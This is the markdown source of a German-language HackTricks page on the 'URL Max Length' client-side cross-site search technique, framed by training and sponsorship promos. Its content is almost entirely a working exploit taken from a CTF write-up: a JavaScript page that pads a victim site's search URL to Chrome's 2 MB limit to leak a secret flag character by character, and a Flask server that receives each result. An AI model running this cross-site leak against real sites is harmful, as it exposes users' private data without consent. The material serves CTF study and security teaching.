hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

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# URL Max Length - Client Side
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
Code von [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
<html>
<body></body>
<script>
(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>
```
Server-Seite:
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}